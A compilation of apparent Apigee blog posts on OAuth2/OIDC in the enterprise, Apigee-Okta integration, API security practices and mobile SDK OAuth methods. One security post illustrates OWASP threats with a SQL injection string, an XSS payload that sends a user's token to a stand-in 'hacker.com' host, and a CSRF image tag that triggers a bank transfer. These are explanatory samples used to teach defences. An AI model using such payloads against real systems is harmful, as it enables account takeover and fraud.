OAuth

An Alternative to Delegated Access in the Enterprise

Extending OAuth2 and OpenID Connect as the enterprise standard for API security

Robert Broeckelmann is a principal consultant at Levvel. He focuses on API management, integration, and identity–especially where these three intersect. He’s worked with clients across the financial, healthcare, and retail fields. Lately, he’s been working with Apigee Edge and WebSphere DataPower.

OAuth2 and OpenID Connect (OIDC) have their origins in the concept of delegated access—think three-legged OAuth. These protocols are designed around the notion that the resource owner is an end user; however, for the enterprise, the business may own the data and be responsible for determining when access should be granted. This post explores how an enterprise IT organization may go about defining policies around such access.

What’s delegation?

Delegated access is the act of one entity (a person or system) granting access to a resource that they own (or control), to another person or entity that has a need for access. The concept of delegation comes up over and over in identity and access management. The Kerberos protocol that Microsoft Windows security is built upon has delegation as a core concept.

Within three-legged OAuth (and OIDC) use cases, the credential validation mechanism is not specifically defined (not to be confused with the OIDC ID token, which conveys details of the authentication to the application). Yet it is generally assumed to include a consent-granting phase wherein the end user (who is being authenticated and owns a resource the third-party application wants to access) specifically grants permission  or consents to the third-party application to access some resource. For our purposes, let’s assume this resource is an API that provides data the end user owns.

The evolving standard for API security

Ironically, these protocols that were designed for a very specific use case (three-legged OAuth and delegated access) grew into the defacto standard for authentication and authorization of API access, mobile applications, single page applications (SPAs), and others. To that end, OAuth2 (together with additions like JWT for the access token and additional security mechanisms to provide a minimal authentication protocol, which many of the enterprise IdP vendors would already do) and OIDC should be the starting point for any identity conversation in those spaces. There was a point, three years ago, where I would have said that OAuth2 should only be used in situations where delegated access is needed.

But the world of modern identity needs a standards-based approach to identity just as much as last decade’s SOA and SOAP web services did. There were not any other standards that had the industry’s major players backing it (and using it) that provided the requisite functionality. So that’s why I call OAuth2 the de facto standard of API and mobile security. Of course, that is evolving into OIDC being the de-facto standard.

So, we have OAuth2 and OIDC being used for a variety of use cases across SPA, mobile, API access, and traditional web application use cases that they were not necessarily originally specifically targeting. This bothered me in the beginning; I still interact with people today who do not really like this approach. But the ship has sailed already, so let’s make the best of it.

When the business owns the accessed resource

We live in a world where OAuth2 and OIDC are the standard for API security (at least where end-user authentication and identity propagation are concerned). These protocols assume a consent-granting step during the login workflow and assume that the user being authenticated owns the resource being accessed. What happens when the business owns the resource being accessed, instead of the user?

In the enterprise, this is a common scenario; especially in the business-to-employee (B2E) space. It’s possible in the B2B space, and in the B2C space it would depend on the jurisdiction and the exact circumstances. For the discussion here, let’s stick with the B2E space.

If the enterprise owns the data, then it owns the authorization decision regarding who and what can access that data. These decisions will be driven by the data classification assigned to the data in question. A typical data classification policy in a Fortune 100 company would be created by information security, legal, and representatives from the business side. The categories of data sensitivity could look something like this:

  • Public classification Information that is meant for distribution to the public, including store location information, hours, anything on the public corporate web site
  • Internal business use Information that is used in regular business processes; it generally isn’t meant for public disclosure, but if it were to be disclosed, it would not seriously harm the business, business partners, or customers
  • Confidential sensitive information that should not be disclosed; If it is disclosed, destroyed, tampered with, or manipulated, it could cause significant damage to the business, business partners, or customers

An effective data classification policy will ensure that sensitive data is handled appropriately, based on the level of risk associated with it. This drives a data-loss prevention program, which forms one of the pillars of an enterprise authorization policy definition process. That and an understanding of the expected audience will drive the security semantics of the authorization policy of an API that is exposed to internal or external actors. The same is true for any IT system or app that provides access to data (most of them do), but we are interested in APIs. So, let’s focus on APIs.

Determining access

In the enterprise, with the possible exception of personally identifiable information (PII), the data most employees, contractors, and business partners interact with is owned by the business, not individuals. Depending on what country you are in, the data may be written into contracts that the business has the right to access. It’s also possible that additional steps must be taken to have this level of access if data residency requirements are in play, but this is beyond the scope of this discussion.

The data classification policy drives the semantics of an API authorization policy. Before the semantics can be codified into a policy (whatever technical implementation that takes), the syntax of that policy must be defined. To that end, something like eXtensible Access Control Markup Language (XACML) could be used to author the authorization policy. The implementation of such policies is, again, beyond the scope of this post.

So if the data is owned by the business and not the individual, it follows that the business will be responsible for determining who (and what) is allowed to access and manipulate that data. The mechanisms used to accomplish this by the IT department have also been discussed (data classification policies and API authorization policies).

Decisions, decisions

We have arrived at a place where we are using a delegated access (authorization) protocol (OAuth2 and OIDC) in a general case where the end users being authenticated don't own the data they are trying to access. As I mentioned before, we’re going to continue to use OAuth2/OIDC because that’s the best standard that has emerged in the API and mobile spaces.  

To this end, the consent granting phase of the login workflow on the identity provider (the OpenID provider or authorization server) may be unnecessary. Most enterprise-grade identity providers will have features to support this. For example, Azure Active Directory provides a concept called administrator consent that allows permission to be granted on resources for all users in a tenant.

At least two different forms of authorization have been mentioned in this discussion: authorization decisions made during token issuance (authentication time) and authorization decisions made at runtime during resource access (API invocation).

By their very nature, the initial decision, made on the identity provider at the time of authentication and token issuance, is more coarse-grained than the decision that can be made at the time of API invocation on the API provider (or possibly the API gateway). This is because there is far more information available at runtime during the API invocation then there is during the token issuance about the context surrounding exactly what the end user or application is attempting to do.

As an example, in one large client, the decision was made to use the information that was available at the time of token issuance to scope the token (the JSON web token, or JWT) to a known API audience that would be accessed. This audience information combined with strict audience enforcement information at the API provider (or API gateway) ensured that tokens were not reused between environments (unit test, QA test, load test, and production, for example).  

Taken one step further, the audience information can be scoped to a particular API or set of API functions. It can even implement a basic RBAC (role-based access control) model to protect the API. Yet a mechanism still has to exist on the API endpoint to correctly map the audience (role) to the resource—this is common functionality in an API gateway. Many other authorization schemes are possible.

How closely the consent and delegation can be integrated between the IdP and the API provider depends upon the system and its features. But, for most of my enterprise clients, in the B2E space the consent step for the end user isn’t present and, instead, there is an evolved authorization policy concept defined at the API provider layer.

In order for this to happen, enough information has to be present to make authorization decisions in the token (the JWT-based access token or the ID token), including LDAP attributes, group information, role information, context-specific information about the environment or application, and what is defined by the JWT, OIDC, and JWS specs.

The OAuth2 and OIDC specs are employed in use cases now that they weren’t originally meant for, but the industry needed a standards-based, interoperable approach to application security. This is why they’ve become the defacto standard for API authentication and authorization. Moving forward, these specifications (especially OIDC) will be the standard that enterprise identity is built upon.

Read other posts that Robert has contributed to the Apigee blog.

Image: The Noun Project / Arthur Shlain

Apigee and Okta Partner for API Security

Apigee is excited to announce a partnership with Okta, a leader in the Identity-as-a-Service space.

A critical reason customers use Apigee is to secure their APIs. And one of the most critical aspects of security is the authentication and authorization of the APIs.  

Apigee’s and Okta’s offerings complement one another to solve the AuthN/AuthZ problem for customers. Almost every customer using Apigee needs to integrate Apigee Edge with a central identity/SSO store. Enterprises traditionally have used legacy, on-premises identity providers.

But customers increasingly are choosing Apigee and Okta together as two critical platforms for digital transformation and their cloud journey.

There are two common use cases for this integration:

  • Customers want to use Apigee’s API management capabilities and use Okta for identity management
  • Customers use Okta as their OAuth/OpenID connect provider across the organization

As part of the partnership, we’ve created an out-of-the-box solution for the first scenario (learn about it here). The solution is intended as a reference implementation and is available as an open source solution.

Scenario 1: Apigee provides OAuth

In the first use case, Apigee acts as the OAuth provider while Okta provides the identity store and handles authentication of the identities.

Let’s take a quick look at what we’ve built here:

In the diagram above, Apigee provides the client_id and client_secret. Pre-work steps aren’t needed for the runtime API security; they’re performed beforehand:

  • The Apigee admin registers Apigee as a valid client with Okta; Apigee receives the public key from Okta and stores it in its KVM or vault
  • A developer self registers in the Apigee developer portal
  • The developer registers an app in the Apigee dev portal.,Apigee issues a client ID and Client secret to the app.

In the runtime flow:

  • The client makes a call to Apigee with the client ID and secret, which Apigee validates
  • Apigee redirects the client app to Okta
  • Okta collects the user credentials and authenticates and authorizes the user with support for multi-factor authentication ( if needed)
  • If the user is validated, then Okta returns an id_token back to Apigee
  • Apigee issues an access token against the id_token and stores a map of access_token to id_token in the key storage
  • When a secured API is invoked, it is invoked with the access token, which Apigee validates; depending on requirements, it either sends the whole id_token or part of it to the backend

Scenario 2: Okta acts as the OAuth provider

This is another common integration pattern, but currently we are not providing an out-of-the-box solution for this. Often, when Okta is the enterprise-wide identity platform (for web, mobile, or APIs), the customer is likely to leverage Okta as the OAuth provider.

To follow this integration pattern, it’s important to keep a few things in mind.

For an API program, a developer portal is crucial. This is where developers register themselves as well as their apps. Once the apps are registered, developers receive their API key or client_id/client secret from the dev portal.

Okta can be used as an OAuth provider, but Apigee must have knowledge of the client_ID and client_secret because:

  • It uses those IDs for throttling
  • The IDs are crucial for analytics and API debugging
  • IDs are used for app lifecycle management
We hope you've found this walk-through useful, and look forward to working with Okta to develop new integrations. To learn more about Okta’s OAuth and OpenID Connect support, visit http://developer.okta.com/docs/api/resources/oauth2.html.

 

API Best Practices: Security

How to ensure your APIs aren't naked

Over the last few years, we’ve witnessed hundreds of enterprises launching API initiatives. This post is the first in a series that aims to distill our learnings from all these customer engagements and share best practices on a wide variety of topics, from deployment models to API design to microservices.

Three-quarters of mobile apps fail standard security tests—and most cyber attacks target the app layer, according to Gartner.

Organizations have used web application firewalls and DDoS protection solutions to secure their web apps. In the world of mobile, cloud, and microservices, where enterprise data is accessed with APIs in a zero-trust environment, what’s needed is deep API security. At risk are hundreds of thousands of sensitive customer records or millions of dollars.

There are known threats. The Open Web Application Security Project (OWASP), an online community of application security researchers, publishes an annual list of the top 10 security threats enterprises face. But there are also potential attacks from “unknown” threats—software that constantly scans for vulnerabilities in application infrastructures.

For protection against all kinds of external threats, organizations should create proxies in front of their APIs with an API management platform and enforce a set of consistent security policies at the API proxy layer. So, let’s review typical types of cyber threats and how organizations secure their APIs.

Injection threats

These are common. Attackers trick an application to divulge sensitive information by including malicious commands as part of data input. For example, by sending strings like " OR 1==1 -- " as a data input, hackers could bypass user authentication in the application like the code snippet below:

select user_id FROM customer_data WHERE username = ‘ ’ OR 1 = 1

-- customer_passwd = ‘abcd’;

To prevent this kind of attack (and related JSON and XML bomb threats), organizations use built-in policies like regular expression protection (Regex) and XML/JSON threat protection policies available in API platforms. These API input validation policies harden your APIs and applications against injection threats.

Broken authentication and session management attacks

These attacks steal session IDs or tokens from your app user’s device and enable hackers to take over a user account. To mitigate such attacks, enterprises use out-of-the-box two-way TLS and OAuth2 policies to implement standard OAuth2 and enforce two-factor authentication.

Cross-site scripting (XSS)

Cross-site scripting involves a hacker executing malicious code on behalf of an innocent user by hoodwinking the user to click on compromised URLs.

Instead of http://usbank.com/account?item=543, for example, the hacker could get an innocent user to execute something like

http://usbank.com/account?=’<script>document.location=’http://hacker.com/steal/’+document.token</script>

Executing this script, the mobile client using the API could allow an attacker to steal the user’s authorization token or cookie. This vulnerability exists in many web apps and mobile apps that use webviews. Hackers can use the innocent user’s token or cookie to log in into your systems and steal sensitive data.  

To prevent XSS threats, you can enforce strict API input validation with out-of-the-box regular expression protection (Regex) policies in the API proxy layer.

Insecure direct object reference and missing function-level access control

With each of these attack vectors, the hacker modifies an existing API request pattern to either access objects they shouldn’t or request access at a different level (user versus admin) in your apps.

For example, realizing the API is of the form https://api.awesomeretailer.com/user/account/1234, hackers could attempt a series of API calls by changing the account number (for example, https://api.awesomeretailer.com/user/account/5432 ) to access other accounts. Or they could try to gain access using https://api.awesomeretailer.com/admin/account/5432

With OAuth2 and the right scopes set for APIs, organizations can easily reduce the attack surface and mitigate risk without refactoring existing applications.

Sensitive data exposure

When web and mobile applications store sensitive data like credit card information and passwords insecurely, problems arise. By building secure API proxies for your sensitive APIs, you create a secure facade in front of your applications. Using a PCI- and HIPAA-compliant API platform, organizations create secure proxies and also ensure API keys are stored in encrypted mode.

Cross-site request forgery (CSRF)

In these attacks, hackers exploit the trust that an application has in a user’s identity after the user initially logs into the app (a banking app, for example). The hacker would have sent this innocent user an HTML email with a tag like

<img src=”https://www.urbank.com/move?amount=5000&destination=”favhacker”>

If this “image” is loaded automatically, the user’s client would make a transfer request with the exact IP address and session cookies or token; it would appear as if the innocent user has made the call. From the app perspective, it would look like a legitimate request, and it would send $5,000 to the hacker’s account.

This kind of attack is mitigated by adding special CSRF tokens or by reducing the attack window with expiring tokens and using two-way TLS to avoid token leakage. Organizations have implemented it with a set of secure API proxies for all their sensitive APIs.

Beyond the above known OWASP threats, organizations also need to protect themselves from volumetric attacks like denial of service (DoS) attacks. Enterprises use spike arrest and rate-limiting policies at the API proxy layer to mitigate risk from such volumetric attacks.

Adaptive threats

Besides the various known threats, increasingly we need to tackle “unknown” threats, where automated software programs called “bots” can constantly scan for security vulnerabilities in your app infrastructure.

Unlike web apps, APIs are programmable, making it easier for attackers to target APIs using bots. Bot traffic can probe for weaknesses in APIs, abuse guest accounts with brute force attacks, use customer API keys to access private APIs, abuse loyalty programs, or scrape pricing data for competitors via APIs. Bad bots like these comprise 10% to 15% of internet traffic today.

A sophisticated API platform continuously monitors your web and API traffic. It identifies bots by using API access behavior patterns, rather than IP addresses. As a result, bots can be tracked even when they change location.

Advanced API platforms uses sophisticated machine learning algorithms on data aggregated across multiple customers. As it analyzes billions of API calls, it can distinguish legitimate human traffic more effectively than possible from a single source of data.

Once it identifies API call pattern that has a “bot like” signature, it flags it. You can then specify the action to take for each such identified “bot signature.” The API platform would then automatically take appropriate actions like blocking, throttling, or honeypotting.

It is pretty easy to stand up a set of APIs for use for your mobile apps teams or partners, but it takes a lot more to make sure you are not exposing a set of naked APIs.

For protection against all kinds of threats, organizations create proxies in front of their APIs and enforce a set of consistent security policies at the API proxy layer with API management platforms.

 

How to Make Your Apigee Edge-Okta Integration Seamless

Okta is a popular identity and access management solution that shares several customers with Apigee. Often, customers whose API calls flow through Apigee and rely on Apigee as the OAuth provider for all of their apps also want to use Okta for end-user authentication. How can they make this a seamless process that adheres to standards as much as possible?

In this short yet comprehensive demonstration, we walk through integrating Apigee and Okta and discuss topics including OAuth and resource-owner or password-grant flows.

All API traffic (the runtime API and the authentication/token API) is proxied through Apigee Edge. Apigee delegates the end-user authentication to Okta and generates an access token that can be used to access any API that is protected using OAuth policies.

Apigee supports custom attributes that can be associated with an access token very easily. This is helpful when you have to reference some values/IDs returned by the identity provider and, more importantly, when you have to pass them along to the back-end APIs at runtime. Apigee Edge makes it simple with out-of-the-box policies.

Apigee also supports external access tokens (those not generated within Apigee—in this case, from Okta). You’ll see two variations of the password grant: access token minted and persisted within Apigee; and access token minted in Okta (In the demo we use the session ID token returned from Okta as the access token) but persisted and recognized within Apigee as if it was generated there.

There are several benefits to using this delegated model approach, including:

  • It’s standards-based (OAuth 2.0)
  • It enables security enforcement at the edge
  • It enables responsive and secure APIs
  • It provides end-to-end visibility into authentication traffic in addition to your run-time traffic
  • It creates a seamless experience for app developers

We hope you found this useful. If you have any questions or want to discuss this, please visit community.apigee.com.

Why Enterprise Security Needs APIs

From time to time, we will have guest authors weigh in on specific topics here. While I’m  interested in all topics, and have opinions on almost all things related to APIs and data :), sometimes it’s better to let the experts have a say. So here is a first guest post. This topic is especially important because by now people realize that digital transformation requires APIs.  And we know that APIs require security. But does security need APIs? I discussed this in a previous post; here's the first in a series of  posts that elaborates on the topic.

Enterprise security incidents surged by 38% last year and malicious attacks on enterprise data continue to have significant impact, incurring a cost of over $500 billion today to an estimated $2 trillion by 2019. Enterprises are adopting APIs and API facades to secure access to valuable enterprise data from both internal and external users and apps.

Although many new apps use REST APIs, many enterprises still employ web applications that make direct calls to backend systems. To date, enterprises have used a layered security model to thwart external threats at the app layer. By mandating the use of APIs to access critical enterprise data, enterprises can create effective security control points and gain several security advantages.

Smaller attack surface

Today, when there’s a security breach in an application, all the backend systems that provide data to the app can be exposed. By ensuring the apps only use APIs to access data on backend systems, you can automatically restrict access to a smaller set of resources and data by passing the requests through an API gateway. This minimizes the attack surface should a breach occur.

Smaller attack window

Web apps that use simple usernames and passwords are challenged to securely store these credentials. Rotating them frequently is also difficult and therefore rarely implemented. In the event of a compromise, the enterprise is severely exposed as there is no time dimension to the credentials (they don’t generally expire).

By using APIs and OAuth, you limit the opportunity for attackers by using continuously rotating credentials that expire frequently.

Defense in depth

By using API management, enterprise security teams can deploy an effective, layered security framework. You can enforce a set of security policies across all your enterprise APIs (spike arrest and injection threat protection, for example) and, if required, enforce additional security policies, such as OAuth2, on select APIs.

Think of an API management platform as the internet-exposed layer of your applications environment that provides a defensive capability in front of your backend systems. 

Versioning

With APIs and API management, you have the flexibility to downgrade or upgrade your API versions seamlessly as part of remediation efforts against security breaches. You can also roll out new API versions to select audiences before wider rollout to minimize security risks.

Virtual patching

An API management platform enables virtual patching and quick remediation against an identified vulnerability in a downstream system without having to change the source code of the system. By applying new security policies to limit potentially malicious input in the API gateway, you can significantly mitigate the impact of zero-day exploits and unpatched systems.

Security metrics

Most enterprises have limited visibility into the vulnerabilities of apps accessing your enterprise data. With APIs and API management, you automatically gain granular visibility into which backend systems are accessed insecurely.

API analytics provide traffic visibility that enables an enterprise to discern between bot traffic and legitimate traffic, transport layer security (TLS) versus non-TLS traffic, and authenticated versus unauthenticated requests. Security metrics like these enable you to fix vulnerabilities and improve overall application security.

By mandating the use of APIs to access any critical enterprise data, you create effective security control points and your enterprise assets become more secure. Enterprises that are going digital and are concerned about their assets should consider an API-first approach to their digital transformations.

Coming up, we’ll take a more in-depth look into the benefits of using APIs to secure enterprise data.

Black Friday: Protect Your APIs from Cyber Threats

Webcast replay

Bad bots can scrape your inventory and pricing information, and steal consumer credentials. Bots can also put stress on backend services and impact your SLA to customers and partners, especially around events like Black Friday.

To protect your APIs, you need a new, data-driven approach to identify and stop bad bots automatically.

In this webcast replay, Apigee's Subra Kumaraswamy and David Andrzejek discuss:

  • the nature of bot attacks and typical use cases
  • how to intelligently detect bad bots whilee leetting good bots in
  • how to implement technologies in your security stack to protect against bad bots

 

 

Security in the Digital Age: Deep-Dive Webcast

What are the biggest cyber threats facing financial and healthcare entities today and in the near future? How can organizations embrace innovation and agile development culture while balancing the time to market goals with risk management?

Join Jason Kobus, director of API banking at Silicon Valley Bank, and Apigee's head of security Subra Kumaraswamy in this webcast replay as they discuss how an effective API program, combined with a secure API management platform, can:

  • provide visibility for all security threats targeting their backend services

  • control access to sensitive data, end-to-end

  • enable developers to build secure apps with secure APIs

  • facilitate secure access with partners and developers

 

Rethinking Governance in an API-First World (webcast & podcast)

Organizations need a fresh prespesctive on API governance to realize the true benefits of an "API-first" approach and the efficiencies that an API management platform can bring. 

In this webcast replay, Apigee's Subra Kumaraswamy and Chris von See explore new approaches to API governance, including:

  • best practices to help organizations scale their API programs
  • how governance can enable security and compliance
  • how to execute API governance throughout design, implementation, and runtime operations

 

How to Achieve Agile API Security (webcast & podcast)

Opening up your APIs in an effort to create engaging experiences might feel like it comes at a cost to security. But the balance can be struck with the right API architecture that builds in security at every stage.

In this webcast, Subra Kumaraswamy discusses the proper security architecture and security patterns for app and API access control. The webcast also covers:

  • how to approach security in your API program
  • the three pillars of API security—threat protection, data security, and identity
  • best practices for integrating identity services into API management
  • how to meet compliance requirements for API products.

 

OAuth 2.0 Support in Apigee Android and iOS SDKs

OAuth 2.0 is an essential part of securing many APIs and in turn is important for many mobile applications. With the latest release of Apigee’s iOS and Android SDKs, we’ve added the ability to authenticate an API from generic OAuth 2.0 endpoints.  

There are four different grant types that can be used when authenticating a given API. Each of these grant types can easily be used in both of our mobile SDKs.

iOS SDK: Get an access token

To get an access token using the iOS SDKs ApigeeDataClient class, call one of the methods described below. Each method is asynchronous and works on background threads. When the method has completed, the ApigeeOAuth2CompletionHandler block containing the access token data is executed.


/*! OAuth2 grant_type 'password' */
-(void)accessTokenWithURL:(NSString*)accessTokenURL
                username:(NSString*)userName
                password:(NSString*)password
                clientID:(NSString*)clientID
       completionHandler:(ApigeeOAuth2CompletionHandler)completionHandler;

/*! OAuth2 grant_type 'client_credentials' */
-(void)accessTokenWithURL:(NSString*)accessTokenURL
                clientID:(NSString*)clientID
            clientSecret:(NSString*)clientSecret
       completionHandler:(ApigeeOAuth2CompletionHandler)completionHandler;

/*! OAuth2 grant_type 'code' or 'token' */
-(void)authorizeOAuth2:(NSString*)serviceProvider
         authorizeURL:(NSString*)authorizeURL
             tokenURL:(NSString*)tokenURL
          redirectURL:(NSString*)redirectURL
             clientID:(NSString*)clientID
         clientSecret:(NSString*)clientSecret
                scope:(NSString*)scope
     keyChainItemName:(NSString*)keyChainItemName
navigationController:(UINavigationController*)navigationController
    completionHandler:(ApigeeOAuth2CompletionHandler)completionHandler;

Once you’ve received the access token data, you can manage the storage and retrieval with easy-to-use methods that employ keychain built-in to the core iOS SDK framework for storage.


/*! Stores the given OAuth2 access token and refresh token into the keychain under the given name. */
-(void)storeOAuth2TokensInKeychain:(NSString*)keychainItemName
                      accessToken:(NSString*)accessToken
                     refreshToken:(NSString*)refreshToken
                            error:(NSError**)error;

/*! Retrieves the OAuth2 access token and refresh token from the keychain with the given name. */
-(void)retrieveStoredOAuth2TokensFromKeychain:(NSString*)keychainItemName
                           completionHandler:(ApigeeOAuth2CompletionHandler)completion;

/*! Removes the OAuth2 access token and refresh token from the keychain with the given name. */
-(void)removeStoredOAuth2TokensFromKeychain:(NSString*)keychainItemName;

Android SDK: Get an access token

The client_credentials and password grant types each have methods for both asynchronous and synchronous authentication. In the Android SDK ApigeeDataClient class, you can gather the access token data simply by calling these methods:


/*! OAuth2 grant_type 'client_credentials' asynchronous */
   public void oauth2AccessTokenAsync(final String accessTokenURL, final String clientId, final String clientSecret, OAuth2ResponseCallback callback)

/*! OAuth2 grant_type 'client_credentials' synchronous */
   public TokenResponse oauth2AccessToken(String accessTokenURL, String clientId, String clientSecret)

/*! OAuth2 grant_type 'password' asynchronous */
   public void oauth2AccessTokenAsync(final String accessTokenURL, final String username, final String password, final String clientId, OAuth2ResponseCallback callack)

/*! OAuth2 grant_type 'password' synchronous */
   public TokenResponse oauth2AccessToken(String accessTokenURL, String username, String password, String clientId)

The other two grant types, code and token, use a three-legged approach and require a webview in order to authenticate. The Android SDK has convenient methods to generate activities that display a webview within your application, authenticate the user, and retrieve the access token data.  


/*! OAuth2 grant_type 'code' intent */
   public Intent oauth2AccessTokenAuthorizationCodeIntent(Context context,String authorizationCodeURL, String accessTokenURL, String redirectURL, String clientId, String clientSecret)

/*! OAuth2 grant_type 'token' intent */
   public Intent oauth2AccessTokenImplicitIntent(Context context,String authorizationCodeURL, String accessTokenURL, String redirectURL, String clientId, String clientSecret)

Calling these methods returns an activity which can then be started. Once the authorization is complete, you can retrieve the access token data from the returned intent object’s extras. Accessing the access token data is demonstrated below.


@Override
   protected void onActivityResult(int requestCode, int resultCode, Intent data) {
       if (requestCode == Constants.kImplicitRequestCode) {
           if (resultCode == RESULT_OK) {
               String token = data.getStringExtra(OAuth2WebViewActivity.OAuth2AccessTokenExtraKey);
               if( token != null ) {
                   this.tokenResponse = new TokenResponse();
                   this.tokenResponse.setAccessToken(token);
                   this.tokenResponse.setRefreshToken(data.getStringExtra(OAuth2WebViewActivity.OAuth2RefreshTokenExtraKey));
                   this.tokenResponse.setExpiresInSeconds(data.getLongExtra(OAuth2WebViewActivity.OAuth2RefreshTokenExtraKey, 0l));
                   this.accessTokenTextView.setText(token);
               }
           }
       }
   }

Once you’ve received the access token you can manage the storage and retrieval with some simple methods. The Android SDK uses the built-in FileDataStoreFactory for storage.


/*! Stores the given OAuth2 access token and refresh token into the FileDataStore under the given name. */
   public Boolean storeOAuth2TokenData(String storageId, TokenResponse tokenResponse)

/*! Retrieves the OAuth2 access token and refresh token from the FileDataStore with the given name. */
   public TokenResponse getOAuth2TokenDataFromStore(String storageId)

/*! Removes the OAuth2 access token and refresh token from the FileDataStore with the given name. */
   public void deleteStoredOAuth2TokenData(String storageId)

Implementing OAuth 2.0 in your Android or iOS mobile applications can be frustrating and take a lot of time and code. Using Apigee’s SDKs helps ease those frustrations and saves app developers time and effort.  

To see the iOS code in action you can check out this video. You can also explore our OAuth 2.0 sample application, which is included within both the iOS and Android SDKs.